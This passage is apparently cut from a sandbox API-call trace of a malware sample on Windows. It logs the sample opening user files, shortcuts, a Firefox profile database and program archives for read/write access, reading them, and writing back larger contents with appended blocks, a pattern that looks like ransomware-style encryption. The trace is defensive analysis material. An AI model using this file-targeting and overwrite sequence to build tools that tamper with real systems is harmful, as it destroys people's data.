ReleaseMutex (hMutex=0x128) returned 1 [0053.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="94308059B57B3142E455B38A6EB92015", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0053.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="94308059B57B3142E455B38A6EB92015", cchWideChar=32, lpMultiByteStr=0x1eb2244, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="94308059B57B3142E455B38A6EB92015", lpUsedDefaultChar=0x0) returned 32 [0053.754] ReadFile (in: hFile=0x1ac, lpBuffer=0x262e1f8, nNumberOfBytesToRead=0x130, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262e1f8*, lpNumberOfBytesRead=0x318f2bc*=0x130, lpOverlapped=0x0) returned 1 [0053.755] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0053.755] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6b8, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x6b8, lpOverlapped=0x0) returned 1 [0053.755] CloseHandle (hObject=0x1ac) returned 1 [0053.755] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.756] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.756] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x50 [0053.756] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.756] ReleaseMutex (hMutex=0x128) returned 1 [0053.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0053.756] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e8f408, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f408*, lpNumberOfBytesRead=0x318f2bc*=0x50, lpOverlapped=0x0) returned 1 [0053.757] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0053.757] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d8, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x5d8, lpOverlapped=0x0) returned 1 [0053.757] CloseHandle (hObject=0x1ac) returned 1 [0053.757] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.757] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.758] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x85 [0053.758] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0053.758] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.758] ReleaseMutex (hMutex=0x128) returned 1 [0053.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN Sports.url", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0053.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN Sports.url", cchWideChar=14, lpMultiByteStr=0x1e630ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSN Sports.url", lpUsedDefaultChar=0x0) returned 14 [0054.070] ReadFile (in: hFile=0x1ac, lpBuffer=0x257e318, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e318*, lpNumberOfBytesRead=0x318f2bc*=0x85, lpOverlapped=0x0) returned 1 [0054.071] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0054.071] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0054.071] CloseHandle (hObject=0x1ac) returned 1 [0054.071] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0054.072] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0054.072] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x16b [0054.072] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0054.072] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.072] ReleaseMutex (hMutex=0x128) returned 1 [0054.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RecentPlaces.lnk", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0054.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RecentPlaces.lnk", cchWideChar=16, lpMultiByteStr=0x1e78bcc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RecentPlaces.lnk", lpUsedDefaultChar=0x0) returned 16 [0054.072] ReadFile (in: hFile=0x1ac, lpBuffer=0x2635c28, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635c28*, lpNumberOfBytesRead=0x318f2bc*=0x16b, lpOverlapped=0x0) returned 1 [0054.073] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0054.073] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6f3, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x6f3, lpOverlapped=0x0) returned 1 [0054.073] CloseHandle (hObject=0x1ac) returned 1 [0054.074] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0054.074] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0054.074] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x8d1 [0054.074] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0054.074] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.074] ReleaseMutex (hMutex=0x128) returned 1 [0054.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Google Chrome.lnk", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0054.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Google Chrome.lnk", cchWideChar=17, lpMultiByteStr=0x1e78bcc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Google Chrome.lnk", lpUsedDefaultChar=0x0) returned 17 [0054.074] ReadFile (in: hFile=0x1ac, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x8d1, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x318f2bc*=0x8d1, lpOverlapped=0x0) returned 1 [0054.075] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0054.075] WriteFile (in: hFile=0x1ac, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0xe59, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x318f2d0*=0xe59, lpOverlapped=0x0) returned 1 [0054.075] CloseHandle (hObject=0x1ac) returned 1 [0054.075] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0054.076] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0054.076] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3ec5d2 [0054.076] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0054.076] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.076] ReleaseMutex (hMutex=0x128) returned 1 [0054.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maid with the Flaxen Hair.mp3", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0054.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maid with the Flaxen Hair.mp3", cchWideChar=29, lpMultiByteStr=0x1e7fd2c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Maid with the Flaxen Hair.mp3", lpUsedDefaultChar=0x0) returned 29 [0054.076] ReadFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0054.078] ReadFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0054.079] ReadFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0054.079] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3ea5d2 [0054.079] ReadFile (in: hFile=0x1ac, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0054.083] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3ea5d2 [0054.083] WriteFile (in: hFile=0x1ac, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x318f28c*=0x2588, lpOverlapped=0x0) returned 1 [0054.083] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0054.084] WriteFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0054.084] WriteFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0054.084] WriteFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x318f28c*=0x2000, lpOverlapped=0x0) returned 1 [0054.084] CloseHandle (hObject=0x1ac) returned 1 [0054.084] GetCurrentThreadId () returned 0x7b8 [0054.084] GetCurrentThreadId () returned 0x7b8 [0054.084] GetCurrentThreadId () returned 0x7b8 [0054.084] SetEvent (hEvent=0xc4) returned 1 [0054.084] RtlExitUserThread (Status=0x0) Thread: id = 85 os_tid = 0x32c [0033.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.305] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.305] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x38000 [0033.305] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.305] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.305] ReleaseMutex (hMutex=0x128) returned 1 [0033.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-prefs.sqlite", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-prefs.sqlite", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-prefs.sqlite", lpUsedDefaultChar=0x0) returned 20 [0033.305] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0033.311] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x37000 [0033.311] ReadFile (in: hFile=0x1a8, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0033.312] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x37000 [0033.313] WriteFile (in: hFile=0x1a8, lpBuffer=0x2621ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.314] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0033.314] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0033.314] CloseHandle (hObject=0x1a8) returned 1 [0033.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.322] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.322] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x48cc [0033.322] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.322] ReleaseMutex (hMutex=0x128) returned 1 [0033.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ffjcext.zip", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ffjcext.zip", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ffjcext.zip", lpUsedDefaultChar=0x0) returned 11 [0033.322] ReadFile (in: hFile=0x1a8, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0033.324] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x38cc [0033.325] ReadFile (in: hFile=0x1a8, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0033.325] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x38cc [0033.325] WriteFile (in: hFile=0x1a8, lpBuffer=0x2621ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.325] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0033.325] WriteFile (in: hFile=0x1a8, lpBuffer=0x2627b08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0033.325] CloseHandle (hObject=0x1a8) returned 1 [0033.326] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.326] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.326] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x585 [0033.326] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.326] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.326] ReleaseMutex (hMutex=0x128) returned 1 [0033.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Form.zip", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Form.zip", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Form.zip", lpUsedDefaultChar=0x0) returned 8 [0033.327] ReadFile (in: hFile=0x1a8, lpBuffer=0x1dfc148, nNumberOfBytesToRead=0x585, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc148*, lpNumberOfBytesRead=0x32cf2bc*=0x585, lpOverlapped=0x0) returned 1 [0033.332] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0033.332] WriteFile (in: hFile=0x1a8, lpBuffer=0x1df3c78*, nNumberOfBytesToWrite=0xb0d, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df3c78*, lpNumberOfBytesWritten=0x32cf2d0*=0xb0d, lpOverlapped=0x0) returned 1 [0033.332] CloseHandle (hObject=0x1a8) returned 1 [0033.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0033.333] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.333] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x251 [0033.333] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0033.333] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.333] ReleaseMutex (hMutex=0x128) returned 1 [0033.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 